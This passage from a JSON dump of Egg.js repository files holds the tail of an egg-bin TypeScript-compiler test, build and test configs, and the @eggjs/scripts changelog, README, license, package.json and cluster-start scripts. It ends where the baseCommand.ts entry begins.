.debug()\n        .end();\n      // @EGGJS/BIN/BASECOMMAND 15959: set NODE_OPTIONS: '--require /Users/fengmk2/git/github.com/eggjs/bin/node_modules/.store/ts-node@10.9.2/node_modules/ts-node/register/index.js'\n      // assert.match(stderr, /ts-node@10\\.\\d+\\.\\d+/);\n      assert.match(stderr, /ts-node/);\n      assert.equal(code, 0);\n    });\n\n    it('should load custom ts compiler with tscompiler args', async () => {\n      if (process.platform === 'win32') return;\n      const cwd = getFixtures('example-ts-custom-compiler-2');\n\n      // install custom ts-node\n      await fs.rm(path.join(cwd, 'node_modules'), {\n        force: true,\n        recursive: true,\n      });\n      if (process.env.CI) {\n        // don't use npmmirror.com on CI\n        await runScript('npminstall ts-node@10.9.2 --no-save', { cwd });\n      } else {\n        await runScript('npminstall -c ts-node@10.9.2 --no-save', { cwd });\n      }\n\n      // copy egg to node_modules\n      await cpy(getFixtures('example-ts-cluster/node_modules/egg'), path.join(cwd, './node_modules/egg'));\n\n      const { stderr, code } = await coffee\n        .fork(eggBin, ['dev', '--tscompiler=ts-node/register'], {\n          cwd,\n          env: {\n            NODE_DEBUG: '@eggjs/bin*',\n          },\n        })\n        .debug()\n        .end();\n      // assert.match(stderr, /ts-node@10\\.9\\.2/);\n      assert.match(stderr, /ts-node/);\n      assert.equal(code, 0);\n    });\n\n    it('should not load custom ts compiler without tscompiler args', async () => {\n      const cwd = getFixtures('example-ts-custom-compiler-2');\n\n      // install custom ts-node\n      await fs.rm(path.join(cwd, 'node_modules'), {\n        force: true,\n        recursive: true,\n      });\n      // if (process.env.CI) {\n      //   // don't use npmmirror.com on CI\n      //   await runScript('npx npminstall ts-node@10.9.2 --no-save', { cwd });\n      // } else {\n      //   await runScript('npx npminstall -c ts-node@10.9.2 --no-save', { cwd });\n      // }\n\n      // copy egg to node_modules\n      await cpy(getFixtures('example-ts-cluster/node_modules/egg'), path.join(cwd, './node_modules/egg'));\n\n      const { stderr, code } = await coffee\n        .fork(eggBin, ['dev'], {\n          cwd,\n          env: {\n            NODE_DEBUG: 'egg-bin*',\n          },\n        })\n        .debug()\n        .end();\n      assert.doesNotMatch(stderr, /ts-node@10\\.9\\.2/);\n      assert.equal(code, 0);\n    });\n\n    it('should start app with other tscompiler without error', () => {\n      return (\n        coffee\n          .fork(eggBin, ['dev', '--tscompiler=esbuild-register'], {\n            cwd: getFixtures('example-ts'),\n          })\n          // .debug()\n          .expect('stdout', /agent.options.typescript = true/)\n          .expect('stdout', /agent.options.tscompiler =/)\n          .expect('stdout', /esbuild-register/)\n          .expect('stdout', /started/)\n          .expect('code', 0)\n          .end()\n      );\n    });\n\n    it('should skip ts-node on env.EGG_TYPESCRIPT=\"false\"', () => {\n      return (\n        coffee\n          .fork(eggBin, ['dev', '--tscompiler=esbuild-register'], {\n            cwd: getFixtures('example-ts'),\n            env: {\n              EGG_TYPESCRIPT: 'false',\n            },\n          })\n          // .debug()\n          .expect('stdout', /agent.options.typescript = false/)\n          .expect('stdout', /agent.options.tscompiler =/)\n          .expect('stdout', /esbuild-register/)\n          .expect('stdout', /started/)\n          .expect('code', 0)\n          .end()\n      );\n    });\n\n    it('should enable ts-node on env.EGG_TYPESCRIPT=\"true\"', () => {\n      return (\n        coffee\n          .fork(eggBin, ['dev', '--tscompiler=esbuild-register'], {\n            cwd: getFixtures('example-ts'),\n            env: {\n              EGG_TYPESCRIPT: 'true',\n            },\n          })\n          // .debug()\n          .expect('stdout', /agent.options.typescript = true/)\n          .expect('stdout', /agent.options.tscompiler =/)\n          .expect('stdout', /esbuild-register/)\n          .expect('stdout', /started/)\n          .expect('code', 0)\n          .end()\n      );\n    });\n\n    it('should start app with other tscompiler in package.json without error', () => {\n      return (\n        coffee\n          .fork(eggBin, ['dev'], {\n            cwd: getFixtures('example-ts-pkg'),\n          })\n          // .debug()\n          .expect('stdout', /agent.options.typescript = true/)\n          .expect('stdout', /agent.options.tscompiler =/)\n          .expect('stdout', /esbuild-register/)\n          .expect('stdout', /started/)\n          .expect('code', 0)\n          .end()\n      );\n    });\n\n    it('should test app', () => {\n      return (\n        coffee\n          .fork(eggBin, ['test'], { cwd })\n          // .debug()\n          .expect('stdout', /hi, egg, 123456/)\n          .expect('stdout', /ts env: true/)\n          .expect('code', 0)\n          .end()\n      );\n    });\n\n    it('should test with custom ts compiler without error', async () => {\n      const cwd = getFixtures('example-ts-custom-compiler');\n\n      // install custom ts-node\n      await fs.rm(path.join(cwd, 'node_modules'), {\n        force: true,\n        recursive: true,\n      });\n      if (process.env.CI) {\n        // don't use npmmirror.com on CI\n        await runScript('npminstall', { cwd });\n      } else {\n        await runScript('npminstall -c', { cwd });\n      }\n\n      // copy egg to node_modules\n      await cpy(getFixtures('example-ts-cluster/node_modules/egg'), path.join(cwd, './node_modules/egg'));\n\n      const { stdout, code } = await coffee\n        .fork(eggBin, ['test', '--tsc', 'ts-node/register'], {\n          cwd,\n          env: {\n            NODE_DEBUG: '@eggjs/bin*',\n          },\n        })\n        .debug()\n        .end();\n      assert.match(stdout, /ts-node/);\n      assert.equal(code, 0);\n    });\n\n    it('should cov app', () => {\n      return (\n        coffee\n          .fork(eggBin, ['cov'], { cwd })\n          // .debug()\n          .expect('stdout', /hi, egg, 123456/)\n          .expect('stdout', /ts env: true/)\n          .expect('code', 0)\n          .end()\n      );\n    });\n  });\n});\n"
  },
  {
    "path": "tools/egg-bin/tsconfig.json",
    "content": "{\n  \"extends\": \"../../tsconfig.json\",\n  \"compilerOptions\": {\n    \"types\": [\"node\", \"vitest/globals\"],\n    // Disable isolatedDeclarations for @oclif/core compatibility\n    // The @oclif Flags API doesn't work well with isolatedDeclarations\n    \"isolatedDeclarations\": false\n  },\n  \"exclude\": [\"test/fixtures/**/*.ts\"]\n}\n"
  },
  {
    "path": "tools/egg-bin/tsdown.config.ts",
    "content": "import { defineConfig } from 'tsdown';\n\nexport default defineConfig({\n  unbundle: true,\n  fixedExtension: false,\n  // MEMO: @oclif/core only works in unbundle mode (already default)\n  unused: {\n    level: 'error',\n    // @vitest/coverage-v8 is loaded by vitest at runtime as a coverage provider, not directly imported\n    ignore: ['utility', '@vitest/coverage-v8'],\n  },\n  copy: [\n    {\n      from: 'scripts',\n      to: 'dist',\n    },\n  ],\n});\n"
  },
  {
    "path": "tools/egg-bin/vitest.config.ts",
    "content": "import path from 'node:path';\nimport { fileURLToPath } from 'node:url';\n\nimport type { ViteUserConfig } from 'vitest/config';\n\nconst __dirname = path.dirname(fileURLToPath(import.meta.url));\n\nconst config: ViteUserConfig = {\n  root: __dirname,\n  test: {\n    include: ['test/**/*.test.ts'],\n    exclude: ['**/test/fixtures/**', '**/node_modules/**', '**/dist/**'],\n    testTimeout: 60000,\n    globals: true,\n  },\n};\n\nexport default config;\n"
  },
  {
    "path": "tools/scripts/.gitignore",
    "content": "logs/\nnpm-debug.log\nnode_modules\ncoverage/\n.idea/\nrun/\n.DS_Store\n*.swp\ntest/fixtures/ts/app/controller/home.js\ntest/fixtures/ts-pkg/app/controller/home.js\n!test/fixtures/**/node_modules\npackage-lock.json\n.package-lock.json\n.tshy*\n.eslintcache\ndist"
  },
  {
    "path": "tools/scripts/CHANGELOG.md",
    "content": "# Changelog\n\n>[!IMPORTANT]\n>Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n>\n>This project is part of the [Egg.js](https://eggjs.org) ecosystem.\n>\n>For more information, please refer to the [Egg.js documentation](https://eggjs.org/en/intro/getting-started.html).\n>\n>For issues and feature requests, please refer to the [Egg.js GitHub repository](https://github.com/eggjs/egg).\n\n## 5.0.0+\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n## [4.0.0](https://github.com/eggjs/scripts/compare/v3.1.0...v4.0.0) (2024-12-31)\n\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 18.19.0 support\n\npart of https://github.com/eggjs/egg/issues/3644\n\nhttps://github.com/eggjs/egg/issues/5257\n\n\n<!-- This is an auto-generated comment: release notes by coderabbit.ai\n-->\n## Summary by CodeRabbit\n\n## Release Notes\n\n- **New Features**\n\t- Added support for ECMAScript modules (ESM).\n\t- Enhanced CLI with more robust start and stop commands.\n\t- Improved TypeScript integration and type safety.\n\t- Introduced new commands for stopping an Egg.js server application.\n\t- Added new configuration options for logging and process management.\n\n- **Improvements**\n\t- Updated package configuration for better modularity.\n\t- Modernized test infrastructure with TypeScript support.\n\t- Refined error handling and logging mechanisms.\n\t- Enhanced process management capabilities.\n- Improved documentation with updated installation instructions and\nusage examples.\n\n- **Breaking Changes**\n\t- Renamed package from `egg-scripts` to `@eggjs/scripts`.\n\t- Requires Node.js version 18.19.0 or higher.\n\t- Significant changes to project structure and module exports.\n\n- **Bug Fixes**\n\t- Improved process management for server start and stop operations.\n\t- Enhanced cross-platform compatibility.\n- Fixed issues with asynchronous route handlers in various applications.\n<!-- end of auto-generated comment: release notes by coderabbit.ai -->\n\n### Features\n\n* support cjs and esm both by tshy ([#63](https://github.com/eggjs/scripts/issues/63)) ([d9d0bc6](https://github.com/eggjs/scripts/commit/d9d0bc65aefd1d73be2c40b86366af566cf471c1))\n\n## [3.1.0](https://github.com/eggjs/egg-scripts/compare/v3.0.1...v3.1.0) (2024-12-10)\n\n\n### Features\n\n* use runscript v2 ([#61](https://github.com/eggjs/egg-scripts/issues/61)) ([ebbb7f6](https://github.com/eggjs/egg-scripts/commit/ebbb7f60446a2bf5ec8eaac40c85c6224dd91c9d))\n\n## [3.0.1](https://github.com/eggjs/egg-scripts/compare/v3.0.0...v3.0.1) (2024-05-11)\n\n\n### Bug Fixes\n\n* head 100 stderr when startup failed ([#59](https://github.com/eggjs/egg-scripts/issues/59)) ([7f2cecf](https://github.com/eggjs/egg-scripts/commit/7f2cecfeb68f07e9b69871f77b66f8a221c51b90))\n\n## [3.0.0](https://github.com/eggjs/egg-scripts/compare/v2.17.0...v3.0.0) (2024-02-19)\n\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js 14 support\n\n### Features\n\n* support configure egg.revert in package.json ([#58](https://github.com/eggjs/egg-scripts/issues/58)) ([a294691](https://github.com/eggjs/egg-scripts/commit/a29469134293a9dec3a7dd5cf6ce71810e913498))\n\n\n---\n\n\n2.17.0 / 2022-04-28\n==================\n\n**features**\n  * [[`47f8e82`](http://github.com/eggjs/egg-scripts/commit/47f8e823e01b74028bf8dee7123fc3f9469fb3b6)] - feat: eggScriptsConfig support node-options (#54) (TZ | 天猪 <<atian25@qq.com>>)\n\n2.16.0 / 2022-03-27\n==================\n\n**features**\n  * [[`bb1ba0a`](http://github.com/eggjs/egg-scripts/commit/bb1ba0a665cab9530639d98f38b76c3c72176f76)] - feat: --trace-warnings (#53) (mansonchor.github.com <<mansonchor1987@gmail.com>>)\n\n2.15.3 / 2022-03-08\n==================\n\n**fixes**\n  * [[`ef5496d`](http://github.com/eggjs/egg-scripts/commit/ef5496d1838a508a859cd5d77886098d7de8fec5)] - fix: ps-cmd result may be truncated (#52) (W <<wj342234130@gmail.com>>)\n\n**others**\n  * [[`be89f9d`](http://github.com/eggjs/egg-scripts/commit/be89f9d6bb88810ffa3237deab9e4e0d9c4000c2)] - docs(doc): 修改readme文档中的stop脚本处的描述，并增加示例. (#51) (shuidian <<18842643145@163.com>>)\n\n2.15.2 / 2021-11-17\n==================\n\n**fixes**\n  * [[`b122d86`](http://github.com/eggjs/egg-scripts/commit/b122d86d300df4018291d8f8d8e98ab813048f67)] - fix: sourcemap default value should respect eggScriptConfig (#50) (killa <<killa123@126.com>>)\n\n**others**\n  * [[`78c3284`](http://github.com/eggjs/egg-scripts/commit/78c3284cb68748f4487141f5481d6e44288c9e47)] - test: case for injecting incorrect script (#49) (hyj1991 <<yeekwanvong@gmail.com>>)\n\n2.15.1 / 2021-09-15\n==================\n\n**features**\n  * [[`1a7f09c`](http://github.com/eggjs/egg-scripts/commit/1a7f09c707becaca42522ee415da0fe5961a6ad5)] - feat: support pkgInfo.eggScriptsConfig.require (#47) (hyj1991 <<yeekwanvong@gmail.com>>)\n\n**others**\n  * [[`a68ac67`](http://github.com/eggjs/egg-scripts/commit/a68ac679b0eee4eff19c9e5d40ca80409ddf02eb)] - Revert \"feat: support pkgInfo.egg.require (#45)\" (#48) (hyj1991 <<yeekwanvong@gmail.com>>)\n\n2.15.0 / 2021-09-13\n==================\n\n**features**\n  * [[`fe179fd`](http://github.com/eggjs/egg-scripts/commit/fe179fda909cd7eb5b6497357202185a4ecf5ec6)] - feat: support pkgInfo.egg.require (#45) (TZ | 天猪 <<atian25@qq.com>>)\n\n2.14.0 / 2021-06-11\n==================\n\n**features**\n  * [[`f0a342f`](http://github.com/eggjs/egg-scripts/commit/f0a342ffcd3ec1823eb2d42a9dd96c075cea3754)] - feat: --no-deprecation (#44) (TZ | 天猪 <<atian25@qq.com>>)\n\n2.13.0 / 2020-02-25\n==================\n\n**features**\n  * [[`c0ba739`](http://github.com/eggjs/egg-scripts/commit/c0ba73900642e488b0e6306ea028ef547ceedfae)] - feat: support stop timeout (#43) (hui <<kangpangpang@gmail.com>>)\n\n2.12.0 / 2019-12-16\n==================\n\n**features**\n  * [[`20483fd`](http://github.com/eggjs/egg-scripts/commit/20483fd56ce51238431fb095ede1c768a99470f2)] - feat: support eggScriptsConfig in package.json (#41) (Yiyu He <<dead_horse@qq.com>>)\n\n2.11.1 / 2019-10-10\n==================\n\n**fixes**\n  * [[`de61980`](http://github.com/eggjs/egg-scripts/commit/de61980f772c8a24010d3f078658f8c55b072067)] - fix: start command should exit after child process exit when no daemon mode (#39) (killa <<killa123@126.com>>)\n\n**others**\n  * [[`7ae9cb0`](http://github.com/eggjs/egg-scripts/commit/7ae9cb054cb91ea7ac1e615e1e3a7fcdaba5f980)] - test: add egg@1 and egg@2 with travis (#36) (Maledong <<maledong_github@outlook.com>>)\n\n2.11.0 / 2018-12-17\n===================\n\n  * feat(stop): only sleep when master process exists (#34)\n  * fix: stop process only if the title matches exactly (#35)\n\n2.10.0 / 2018-10-10\n==================\n\n**fixes**\n  * [[`4768950`](http://github.com/eggjs/egg-scripts/commit/4768950d29398031fd6ae129a981c60e308bff0a)] - fix: replace command by args in ps (#29) (Baffin Lee <<baffinlee@gmail.com>>)\n\n**others**\n  * [[`f31efb9`](http://github.com/eggjs/egg-scripts/commit/f31efb9133c5edc6176371ca725198f1b43b9aab)] -  feat: support customize node path (#32) (Yiyu He <<dead_horse@qq.com>>)\n  * [[`c2479dc`](http://github.com/eggjs/egg-scripts/commit/c2479dc6416386b654fc6e918a4dbd575cc0639e)] - chore: update version (TZ <<atian25@qq.com>>)\n\n2.9.1 / 2018-08-24\n==================\n\n  * fix: replace command by args in ps (#29)\n\n2.9.0 / 2018-08-23\n==================\n\n**features**\n  * [[`1367883`](http://github.com/eggjs/egg-scripts/commit/1367883804e5ab1ece88831ea4d1a934ee757f81)] - feat: add ipc channel in nonDaemon mode (#28) (Khaidi Chu <<i@2333.moe>>)\n\n**others**\n  * [[`262ef4c`](http://github.com/eggjs/egg-scripts/commit/262ef4c97179dbf6f8de2eb0547eef4cbc56bf92)] - chore: add license and issues link (#27) (Haoliang Gao <<sakura9515@gmail.com>>)\n\n2.8.1 / 2018-08-19\n==================\n\n**fixes**\n  * [[`b98fd03`](http://github.com/eggjs/egg-scripts/commit/b98fd03d1e3aaed68004b881f0b3d42fe47341dd)] - fix: use execFile instead of exec for security reason (#26) (fengmk2 <<fengmk2@gmail.com>>)\n\n2.8.0 / 2018-08-10\n==================\n\n**others**\n  * [[`dac29f7`](http://github.com/eggjs/egg-scripts/commit/dac29f73ed2dfc18edc2e8743ffd509af8ab0f4a)] - refactor: add `this.exit` to instead of `process.exit` (#25) (Khaidi Chu <<i@2333.moe>>)\n\n2.7.0 / 2018-08-10\n==================\n\n**features**\n  * [[`22faa4c`](http://github.com/eggjs/egg-scripts/commit/22faa4cfbb84cc5bc819d981dce962d8f95f8357)] - feat: stop command support windows (#22) (Baffin Lee <<baffinlee@gmail.com>>)\n\n**others**\n  * [[`e07726c`](http://github.com/eggjs/egg-scripts/commit/e07726c176a89dd63482b588868fd1feaab1fba6)] - refactor: raw spawn call to instead of helper.spawn in start non-daemon mode (#23) (Khaidi Chu <<i@2333.moe>>)\n\n2.6.0 / 2018-04-03\n==================\n\n  * feat: provides source map support for stack traces (#19)\n\n2.5.1 / 2018-02-06\n==================\n\n  * chore: add description for ignore-stderr (#18)\n\n2.5.0 / 2017-12-12\n==================\n\n**features**\n  * [[`b5559d5`](http://github.com/eggjs/egg-scripts/commit/b5559d54228543b5422047e6f056829df11f8c87)] - feat: support --ignore-error (#17) (TZ | 天猪 <<atian25@qq.com>>)\n\n2.4.0 / 2017-11-30\n==================\n\n**features**\n  * [[`8eda3d1`](https://github.com/eggjs/egg-scripts/commit/8eda3d10cfea5757f220fd82b562fd5fef433440)] - feat: add `${baseDir}/.node/bin` to PATH if exists (#14) (fengmk2 <<fengmk2@gmail.com>>)\n\n**others**\n  * [[`4dd24a4`](https://github.com/eggjs/egg-scripts/commit/4dd24a45d92b2c2a8e1e450e0f13ba4143550ca9)] - test: add testcase for #12 (#13) (Haoliang Gao <<sakura9515@gmail.com>>)\n\n2.3.0 / 2017-11-29\n==================\n\n**features**\n  * [[`4c41319`](http://github.com/eggjs/egg-scripts/commit/4c41319f9e309402b2ccb5c7afd5a6d3cda2453f)] - feat: support stop --title (#16) (TZ | 天猪 <<atian25@qq.com>>)\n\n2.2.0 / 2017-11-22\n==================\n\n**features**\n  * [[`ac58d00`](http://github.com/eggjs/egg-scripts/commit/ac58d00a974fdfff6b5c722743e4b32174963c52)] - feat: cwd maybe not baseDir (#15) (zhennann <<zhen.nann@icloud.com>>)\n\n2.1.1 / 2017-11-14\n==================\n\n**fixes**\n  * [[`7324d99`](http://github.com/eggjs/egg-scripts/commit/7324d99b504cac5fef7dbf280f7d9e6243c16bb7)] - fix: should stop app when baseDir is symlink (#12) (Haoliang Gao <<sakura9515@gmail.com>>)\n\n2.1.0 / 2017-10-16\n==================\n\n**features**\n  * [[`ac40135`](http://github.com/eggjs/egg-scripts/commit/ac40135d5b9a3200ea1bdfdb19d0f7e12d0c511a)] - feat: add eggctl bin (#10) (Haoliang Gao <<sakura9515@gmail.com>>)\n\n2.0.0 / 2017-10-13\n==================\n\n**features**\n  * [[`0f7ca50`](http://github.com/eggjs/egg-scripts/commit/0f7ca502999c06a9cb05d8e5617f6045704511df)] - feat: [BREAKING_CHANGE] check the status of app when start on daemon (#9) (Haoliang Gao <<sakura9515@gmail.com>>)\n\n**others**\n  * [[`cfd0d2f`](http://github.com/eggjs/egg-scripts/commit/cfd0d2f67845fffb9d5974514b65e43b22ed8040)] - refactor: modify the directory of logDir (#8) (Haoliang Gao <<sakura9515@gmail.com>>)\n\n1.2.0 / 2017-09-11\n==================\n\n**features**\n  * [[`c0300b8`](http://github.com/eggjs/egg-scripts/commit/c0300b8c657fe4f75ca388061f6cb3de9864a743)] - feat: log success at daemon mode (#7) (TZ | 天猪 <<atian25@qq.com>>)\n\n**others**\n  * [[`fdd273c`](http://github.com/eggjs/egg-scripts/commit/fdd273c2d6f15d104288fef4d699627a7cf701d9)] - test: add cluster-config fixture (#4) (TZ | 天猪 <<atian25@qq.com>>)\n\n1.1.2 / 2017-09-01\n==================\n\n  * fix: should not pass undefined env (#6)\n  * docs: fix stop typo (#5)\n\n1.1.1 / 2017-08-29\n==================\n\n  * fix: should set title correct (#3)\n\n1.1.0 / 2017-08-16\n==================\n\n  * feat: remove env default value (#2)\n\n1.0.0 / 2017-08-02\n==================\n\n  * feat: first implementation (#1)\n"
  },
  {
    "path": "tools/scripts/LICENSE",
    "content": "MIT License\n\nCopyright (c) 2017-present Alibaba Group Holding Limited and other contributors.\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "tools/scripts/README.md",
    "content": "# @eggjs/scripts\n\n[![NPM version][npm-image]][npm-url]\n[![npm download][download-image]][download-url]\n[![Node.js Version](https://img.shields.io/node/v/@eggjs/scripts.svg?style=flat)](https://nodejs.org/en/download/)\n[![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg?style=flat-square)](https://makeapullrequest.com)\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/scripts.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/scripts\n[download-image]: https://img.shields.io/npm/dm/@eggjs/scripts.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/scripts\n\ndeploy tool for egg project.\n\n**Note: Windows is partially supported, see [#22](https://github.com/eggjs/egg-scripts/pull/22)**\n\n## Install\n\n```bash\nnpm i @eggjs/scripts --save\n```\n\n## Usage\n\nAdd `eggctl` to `package.json` scripts:\n\n```json\n{\n  \"scripts\": {\n    \"start\": \"eggctl start --daemon\",\n    \"stop\": \"eggctl stop\"\n  }\n}\n```\n\nThen run as:\n\n- `npm start`\n- `npm stop`\n\n**Note:** `egg-scripts` is not recommended to install global, you should install and use it as npm scripts.\n\n## Command\n\n### start\n\nStart egg at prod mode.\n\n```bash\n$ eggctl start [options] [baseDir]\n\n# Usage\n# eggctl start --port=7001\n# eggctl start ./server\n```\n\n- **Arguments**\n  - `baseDir` - directory of application, default to `process.cwd()`.\n- **Options**\n  - `port` - listening port, default to `process.env.PORT`, if unset, egg will use `7001` as default.\n  - `title` - process title description, use for kill grep, default to `egg-server-${APP_NAME}`.\n  - `workers` - numbers of app workers, default to `process.env.EGG_WORKERS`, if unset, egg will use `os.cpus().length` as default.\n  - `daemon` - whether run at background daemon mode, don't use it if in docker mode.\n  - `framework` - specify framework that can be absolute path or npm package, default to auto detect.\n  - `env` - server env, default to `process.env.EGG_SERVER_ENV`, recommended to keep empty then use framwork default env.\n  - `stdout` - customize stdout file, default to `$HOME/logs/master-stdout.log`.\n  - `stderr` - customize stderr file, default to `$HOME/logs/master-stderr.log`.\n  - `timeout` - the maximum timeout when app starts, default to 300s.\n  - `ignore-stderr` - whether ignore stderr when app starts.\n  - `sourcemap` / `typescript` / `ts` - provides source map support for stack traces.\n  - `node` - customize node command path, default will find node from $PATH\n\n### stop\n\nStop egg gracefull.\n\n**Note:** if exec without `--title`, it will kill all egg process.\n\n```bash\n$ eggctl stop [options]\n\n# Usage\n# eggctl stop --title=example\n```\n\n- **Options**\n  - `title` - process title description, use for kill grep.\n  - `timeout` - the maximum timeout when app stop, default to 5s.\n\n## Options in `package.json`\n\nIn addition to the command line specification, options can also be specified in `package.json`. However, the command line designation takes precedence.\n\n```js\n{\n  \"eggScriptsConfig\": {\n    \"port\": 1234,\n    \"ignore-stderr\": true,\n    // will pass as `node --max-http-header-size=20000`\n    \"node-options--max-http-header-size\": \"20000\",\n    // will pass as `node --allow-wasi`\n    \"node-options--allow-wasi\": true\n  }\n}\n```\n\n## Questions & Suggestions\n\nPlease open an issue [here](https://github.com/eggjs/egg/issues?q=is%3Aissue+is%3Aopen+sort%3Aupdated-desc).\n\n## License\n\n[MIT](LICENSE)\n\n## Contributors\n\n[![Contributors](https://contrib.rocks/image?repo=eggjs/egg)](https://github.com/eggjs/egg/graphs/contributors)\n\nMade with [contributors-img](https://contrib.rocks).\n"
  },
  {
    "path": "tools/scripts/bin/dev.cmd",
    "content": "@echo off\n\nnode --loader ts-node/esm --no-warnings=ExperimentalWarning \"%~dp0\\dev\" %*\n"
  },
  {
    "path": "tools/scripts/bin/dev.js",
    "content": "#!/usr/bin/env -S node --loader ts-node/esm --disable-warning=ExperimentalWarning\n\nimport { execute } from '@oclif/core';\n\nawait execute({ development: true, dir: import.meta.url });\n"
  },
  {
    "path": "tools/scripts/bin/run.cmd",
    "content": "@echo off\n\nnode \"%~dp0\\run\" %*\n"
  },
  {
    "path": "tools/scripts/bin/run.js",
    "content": "#!/usr/bin/env node\n\nimport { execute } from '@oclif/core';\n\nawait execute({ dir: import.meta.url });\n"
  },
  {
    "path": "tools/scripts/package.json",
    "content": "{\n  \"name\": \"@eggjs/scripts\",\n  \"version\": \"5.0.2-beta.5\",\n  \"description\": \"deploy tool for egg project\",\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/tools/scripts\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"license\": \"MIT\",\n  \"author\": \"TZ <atian25@qq.com>\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"tools/scripts\"\n  },\n  \"bin\": {\n    \"egg-scripts\": \"./bin/run.js\",\n    \"eggctl\": \"./bin/run.js\"\n  },\n  \"files\": [\n    \"bin\",\n    \"dist\",\n    \"scripts\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./baseCommand\": \"./src/baseCommand.ts\",\n    \"./commands/start\": \"./src/commands/start.ts\",\n    \"./commands/stop\": \"./src/commands/stop.ts\",\n    \"./helper\": \"./src/helper.ts\",\n    \"./types\": \"./src/types.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./baseCommand\": \"./dist/baseCommand.js\",\n      \"./commands/start\": \"./dist/commands/start.js\",\n      \"./commands/stop\": \"./dist/commands/stop.js\",\n      \"./helper\": \"./dist/helper.js\",\n      \"./types\": \"./dist/types.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\",\n    \"test\": \"vitest run --bail 1 --no-file-parallelism\",\n    \"cov\": \"pnpm test --coverage\",\n    \"ci\": \"pnpm run cov\"\n  },\n  \"dependencies\": {\n    \"@eggjs/utils\": \"workspace:*\",\n    \"@oclif/core\": \"catalog:\",\n    \"node-homedir\": \"catalog:\",\n    \"runscript\": \"catalog:\",\n    \"source-map-support\": \"catalog:\",\n    \"utility\": \"catalog:\"\n  },\n  \"devDependencies\": {\n    \"@types/node\": \"catalog:\",\n    \"coffee\": \"catalog:\",\n    \"detect-port\": \"catalog:\",\n    \"egg\": \"workspace:*\",\n    \"mm\": \"catalog:\",\n    \"tsdown\": \"catalog:\",\n    \"typescript\": \"catalog:\",\n    \"urllib\": \"catalog:\",\n    \"vitest\": \"catalog:\"\n  },\n  \"oclif\": {\n    \"additionalHelpFlags\": [\n      \"-h\"\n    ],\n    \"bin\": \"eggctl\",\n    \"commands\": \"./dist/commands\",\n    \"dirname\": \"eggctl\",\n    \"topicSeparator\": \" \"\n  },\n  \"engines\": {\n    \"node\": \">= 22.18.0\"\n  }\n}\n"
  },
  {
    "path": "tools/scripts/scripts/start-cluster.cjs",
    "content": "const { debuglog } = require('node:util');\n\nconst { importModule } = require('@eggjs/utils');\n\nconst debug = debuglog('egg/scripts/start-cluster/cjs');\n\nasync function main() {\n  debug('argv: %o', process.argv);\n  const options = JSON.parse(process.argv[2]);\n  debug('start cluster options: %o', options);\n  const exports = await importModule(options.framework);\n  let startCluster = exports.startCluster;\n  if (typeof startCluster !== 'function') {\n    startCluster = exports.default.startCluster;\n  }\n  await startCluster(options);\n}\n\nmain().catch((err) => {\n  console.error(err);\n  process.exit(1);\n});\n"
  },
  {
    "path": "tools/scripts/scripts/start-cluster.mjs",
    "content": "import { debuglog } from 'node:util';\n\nimport { importModule } from '@eggjs/utils';\n\nconst debug = debuglog('egg/scripts/start-cluster/esm');\n\nasync function main() {\n  debug('argv: %o', process.argv);\n  const options = JSON.parse(process.argv[2]);\n  debug('start cluster options: %o', options);\n  const { startCluster } = await importModule(options.framework);\n  await startCluster(options);\n}\n\nmain().catch((err) => {\n  console.error(err);\n  process.exit(1);\n});\n"
  },
  {
    "path": "tools/scripts/src/baseCommand.ts",
